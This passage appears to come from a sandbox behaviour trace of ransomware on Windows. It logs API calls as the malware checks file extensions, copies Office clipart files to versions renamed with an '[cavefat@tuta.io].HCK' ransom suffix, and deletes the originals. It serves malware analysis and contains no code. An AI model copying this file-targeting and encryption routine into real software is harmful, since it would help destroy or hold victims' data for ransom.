(lpString=".doc") returned 4 [0179.686] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.686] lstrlenW (lpString=".docx") returned 5 [0179.686] lstrcmpiW (lpString1=".docx", lpString2="K.JPG") returned -1 [0179.686] lstrlenW (lpString=".pdf") returned 4 [0179.686] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.686] lstrlenW (lpString=".xls") returned 4 [0179.686] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.686] lstrlenW (lpString=".xlsx") returned 5 [0179.686] lstrcmpiW (lpString1=".xlsx", lpString2="K.JPG") returned -1 [0179.686] lstrlenW (lpString=".ppt") returned 4 [0179.686] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.686] lstrlenW (lpString=".zip") returned 4 [0179.686] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.686] lstrlenW (lpString=".rar") returned 4 [0179.686] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.686] lstrlenW (lpString=".bz2") returned 4 [0179.686] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.686] lstrlenW (lpString=".7z") returned 3 [0179.686] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.686] lstrlenW (lpString=".dbf") returned 4 [0179.686] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.686] lstrlenW (lpString=".1cd") returned 4 [0179.686] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.JPG") returned 68 [0179.686] lstrlenW (lpString=".jpg") returned 4 [0179.686] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.687] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.687] lstrlenW (lpString="PH02058U.BMP") returned 12 [0179.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.694] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=31968) returned 1 [0179.694] CloseHandle (hObject=0x300) returned 1 [0179.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp")) returned 0x220 [0179.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.704] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.704] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.706] GetLastError () returned 0x0 [0179.706] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0179.708] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0179.709] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.709] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.709] SetEndOfFile (hFile=0x2fc) returned 1 [0179.710] CloseHandle (hObject=0x2fc) returned 1 [0179.710] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.710] SetEndOfFile (hFile=0x368) returned 1 [0179.711] CloseHandle (hObject=0x368) returned 1 [0179.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp")) returned 1 [0179.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.715] lstrlenW (lpString=".doc") returned 4 [0179.715] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.715] lstrlenW (lpString=".docx") returned 5 [0179.715] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.715] lstrlenW (lpString=".pdf") returned 4 [0179.715] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.715] lstrlenW (lpString=".xls") returned 4 [0179.715] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.715] lstrlenW (lpString=".xlsx") returned 5 [0179.715] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.715] lstrlenW (lpString=".ppt") returned 4 [0179.715] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.715] lstrlenW (lpString=".zip") returned 4 [0179.715] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.715] lstrlenW (lpString=".rar") returned 4 [0179.715] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.715] lstrlenW (lpString=".bz2") returned 4 [0179.715] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.715] lstrlenW (lpString=".7z") returned 3 [0179.715] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.716] lstrlenW (lpString=".dbf") returned 4 [0179.716] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.716] lstrlenW (lpString=".1cd") returned 4 [0179.716] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.716] lstrlenW (lpString=".jpg") returned 4 [0179.716] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.716] lstrlenW (lpString=".doc") returned 4 [0179.716] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.716] lstrlenW (lpString=".docx") returned 5 [0179.716] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.716] lstrlenW (lpString=".pdf") returned 4 [0179.716] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.716] lstrlenW (lpString=".xls") returned 4 [0179.716] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.716] lstrlenW (lpString=".xlsx") returned 5 [0179.716] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.716] lstrlenW (lpString=".ppt") returned 4 [0179.716] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.716] lstrlenW (lpString=".zip") returned 4 [0179.716] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.716] lstrlenW (lpString=".rar") returned 4 [0179.716] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.716] lstrlenW (lpString=".bz2") returned 4 [0179.716] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.716] lstrlenW (lpString=".7z") returned 3 [0179.716] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.716] lstrlenW (lpString=".dbf") returned 4 [0179.716] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.716] lstrlenW (lpString=".1cd") returned 4 [0179.716] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.BMP") returned 68 [0179.716] lstrlenW (lpString=".jpg") returned 4 [0179.716] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.716] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.716] lstrlenW (lpString="PH02074U.BMP") returned 12 [0179.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.721] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=31968) returned 1 [0179.721] CloseHandle (hObject=0x3a4) returned 1 [0179.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp")) returned 0x220 [0179.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.730] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.730] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.732] GetLastError () returned 0x0 [0179.732] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0179.734] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0179.735] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.735] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.735] SetEndOfFile (hFile=0x300) returned 1 [0179.738] CloseHandle (hObject=0x300) returned 1 [0179.738] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.738] SetEndOfFile (hFile=0x368) returned 1 [0179.741] CloseHandle (hObject=0x368) returned 1 [0179.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02074u.bmp")) returned 1 [0179.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.744] lstrlenW (lpString=".doc") returned 4 [0179.744] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.744] lstrlenW (lpString=".docx") returned 5 [0179.744] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.744] lstrlenW (lpString=".pdf") returned 4 [0179.744] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.744] lstrlenW (lpString=".xls") returned 4 [0179.744] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.744] lstrlenW (lpString=".xlsx") returned 5 [0179.744] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.744] lstrlenW (lpString=".ppt") returned 4 [0179.744] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.744] lstrlenW (lpString=".zip") returned 4 [0179.744] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.744] lstrlenW (lpString=".rar") returned 4 [0179.744] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.744] lstrlenW (lpString=".bz2") returned 4 [0179.744] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.744] lstrlenW (lpString=".7z") returned 3 [0179.744] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.744] lstrlenW (lpString=".dbf") returned 4 [0179.744] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.744] lstrlenW (lpString=".1cd") returned 4 [0179.744] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.744] lstrlenW (lpString=".jpg") returned 4 [0179.744] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.744] lstrlenW (lpString=".doc") returned 4 [0179.744] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.744] lstrlenW (lpString=".docx") returned 5 [0179.744] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.744] lstrlenW (lpString=".pdf") returned 4 [0179.744] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.745] lstrlenW (lpString=".xls") returned 4 [0179.745] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.745] lstrlenW (lpString=".xlsx") returned 5 [0179.745] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.745] lstrlenW (lpString=".ppt") returned 4 [0179.745] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.745] lstrlenW (lpString=".zip") returned 4 [0179.745] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.745] lstrlenW (lpString=".rar") returned 4 [0179.745] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.745] lstrlenW (lpString=".bz2") returned 4 [0179.745] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.745] lstrlenW (lpString=".7z") returned 3 [0179.745] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.745] lstrlenW (lpString=".dbf") returned 4 [0179.745] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.745] lstrlenW (lpString=".1cd") returned 4 [0179.745] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.BMP") returned 68 [0179.745] lstrlenW (lpString=".jpg") returned 4 [0179.745] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.745] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.745] lstrlenW (lpString="PH02398U.BMP") returned 12 [0179.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.750] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=31968) returned 1 [0179.750] CloseHandle (hObject=0x2fc) returned 1 [0179.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp")) returned 0x220 [0179.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.763] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.763] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.765] GetLastError () returned 0x0 [0179.765] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0179.766] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0179.767] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.768] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.768] SetEndOfFile (hFile=0x39c) returned 1 [0179.769] CloseHandle (hObject=0x39c) returned 1 [0179.771] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.771] SetEndOfFile (hFile=0x300) returned 1 [0179.772] CloseHandle (hObject=0x300) returned 1 [0179.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp")) returned 1 [0179.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.777] lstrlenW (lpString=".doc") returned 4 [0179.777] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.777] lstrlenW (lpString=".docx") returned 5 [0179.777] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.777] lstrlenW (lpString=".pdf") returned 4 [0179.777] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.777] lstrlenW (lpString=".xls") returned 4 [0179.777] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.777] lstrlenW (lpString=".xlsx") returned 5 [0179.777] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.777] lstrlenW (lpString=".ppt") returned 4 [0179.777] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.777] lstrlenW (lpString=".zip") returned 4 [0179.777] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.777] lstrlenW (lpString=".rar") returned 4 [0179.777] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.777] lstrlenW (lpString=".bz2") returned 4 [0179.777] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.777] lstrlenW (lpString=".7z") returned 3 [0179.777] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.777] lstrlenW (lpString=".dbf") returned 4 [0179.777] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.777] lstrlenW (lpString=".1cd") returned 4 [0179.777] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.778] lstrlenW (lpString=".jpg") returned 4 [0179.778] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.778] lstrlenW (lpString=".doc") returned 4 [0179.778] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.778] lstrlenW (lpString=".docx") returned 5 [0179.778] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.778] lstrlenW (lpString=".pdf") returned 4 [0179.778] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.778] lstrlenW (lpString=".xls") returned 4 [0179.778] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.778] lstrlenW (lpString=".xlsx") 